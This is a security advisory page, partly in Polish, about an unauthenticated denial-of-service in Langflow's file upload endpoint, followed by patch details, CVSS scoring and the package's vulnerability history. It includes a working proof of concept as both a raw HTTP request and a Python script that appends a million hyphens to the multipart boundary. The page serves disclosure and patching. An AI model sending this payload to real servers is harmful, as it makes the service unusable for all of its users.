Wysoka

Langflow: Unauthenticated DoS through multipart form boundary file upload

  • Ujawniono: 19.06.2026
  • Aktualizacja: 11.10.2026 12:20

Summary

An attacker can send a /api/v1/files/upload/ request without any authentication token/cookies and abuse a very long multipart form boundary to make the langflow app unusable for all users for an indefinite amount of time.

Details

https://github.com/langflow-ai/langflow/blob/v1.0.18/src/backend/base/langflow/api/v1/files.py#L40

The file upload function will try to process the multipart form data even if it is malformed and contains a payload such as an extremely large amount of hyphens after the boundary. It also does not do the authentication check before trying to process this data so an unauthenticated attacker can perform this as well as authenticated users.

Additionally, an attacker doesn't even need to know a valid UUID of a flow to send this request because the server will still try to process the large boundary even with any random value in place of the flow ID.

PoC

An attacker makes this request to upload a file without valid authentication information or a valid flow ID:

POST /api/v1/files/upload/test HTTP/1.1
Host: 127.0.0.1:7860
Content-Length: 3000192
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryorGBAKSkv5wR6WqJ
Accept: application/json, text/plain, */*
Origin: http://127.0.0.1:7860
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundaryorGBAKSkv5wR6WqJ
Content-Disposition: form-data; name="file"; filename="dos.txt"
Content-Type: text/plain

DoS in progress!

------WebKitFormBoundaryorGBAKSkv5wR6WqJ------------<insert a large amount of hyphens such as 1,000,000>

Here is the request in python:

python
import requests

url = "http://127.0.0.1:7860/api/v1/files/upload/test"

headers = {
    "Content-Type": "multipart/form-data; boundary=---------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ"
}

data = (
    "-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ\r\n"
    "Content-Disposition: form-data; name=\"file\"; filename=\"dos.txt\"\r\n"
    "Content-Type: text/plain\r\n\r\n"
    "DoS in progress\r\n"
    "-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ--" + '-' * 1000000 + "\r\n"
)

response = requests.post(url, headers=headers, data=data)

The app will then be stuck in the "server is busy" state for all users:

<img width="733" alt="image" src="https://github.com/user-attachments/assets/227169d8-f1b7-4072-8c09-e416e4808d05">

Impact

Sending this request will result in the server being unusable for all users for an infinite amount of time because the request can be repeated as much as you want.

Patches

Fixed in 1.0.19 via PR #3923. A check_boundary HTTP middleware was added that validates the multipart boundary (^[\w\-]{1,70}$) and rejects malformed requests — including the oversized-hyphen payload — with HTTP 422 before the body is parsed. The upload endpoint also gained an authentication and flow-ownership check (get_current_active_user + 403 on mismatch), closing the unauthenticated access vector. Upgrade to 1.0.19 or later.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) langflow < 1.0.19 1.0.19

Odnośniki

Ocena CVSS 7.5/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Słabość (CWE)
CWE-400
Platforma
Python (PyPI)
Paczka
langflow
Ujawniono
19.06.2026
Aktualizacja
11.10.2026 12:20

Źródła i licencje

OSV / GitHub Advisory Database - PYSEC-2026-223 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-qwqc-p3q8-wcg9 - CC BY 4.0

Historia podatności: langflow

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (42) w archiwum
Wszystkich wpisów
42
Pierwsza → ostatnia
06.2024 10.2026
Bez poprawki
7
Wykorzystywana w atakach
5

Rozkład istotności

  • Krytyczna 15
  • Wysoka 17
  • Średnia 7
  • Niska 3

Ujawnienia w latach

  1. 2024: 4
  2. 2025: 5
  3. 2026: 33
Istotność:
  1. Wysoka · 7.1 CVE-2026-105741 >= 1.5.0, < 1.10.3 1.10.3
  2. Krytyczna · 9.1 CVE-2026-9205 < 1.10.1 1.10.1
  3. Krytyczna · 9.8 CVE-2026-8505 >= 1.7.0, < 1.9.1 1.9.1
  4. Wysoka · 8.8 CVE-2026-7700 >= 1.3.0, < 1.10.3 1.10.3
  5. Langflow: Unauthenticated DoS through multipart form boundary file upload ten wpis
    Wysoka · 7.5 CVE-2026-55446 < 1.0.19 1.0.19
  6. Krytyczna · 9.6 CVE-2026-48519 < 1.9.2 1.9.2
  7. Krytyczna · 9.6 CVE-2026-42048 < 1.9.0 1.9.0
  8. Wysoka · 7.5 CVE-2026-33484 >= 1.0.0, < 1.9.0 1.9.0
  9. Krytyczna · 9.9 CVE-2026-33309 >= 1.2.0, < 1.9.0 1.9.0
  10. Krytyczna · 9.8 Wykorzystywana w atakach CVE-2026-33017 < 1.9.0 1.9.0
  11. Krytyczna · 9.8 CVE-2026-27966 <= 1.8.0rc2 brak poprawki
  12. Wysoka Wykorzystywana w atakach CVE-2026-0770 <= 1.7.3 brak poprawki
  13. Wysoka CVE-2026-21445 < 1.7.1 1.7.1
  14. Wysoka · 7.7 CVE-2025-68477 < 1.7.1 1.7.1
  15. Wysoka · 7.1 CVE-2025-68478 < 1.7.1 1.7.1
  16. Krytyczna Wykorzystywana w atakach CVE-2025-3248 < 1.3.0 1.3.0

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.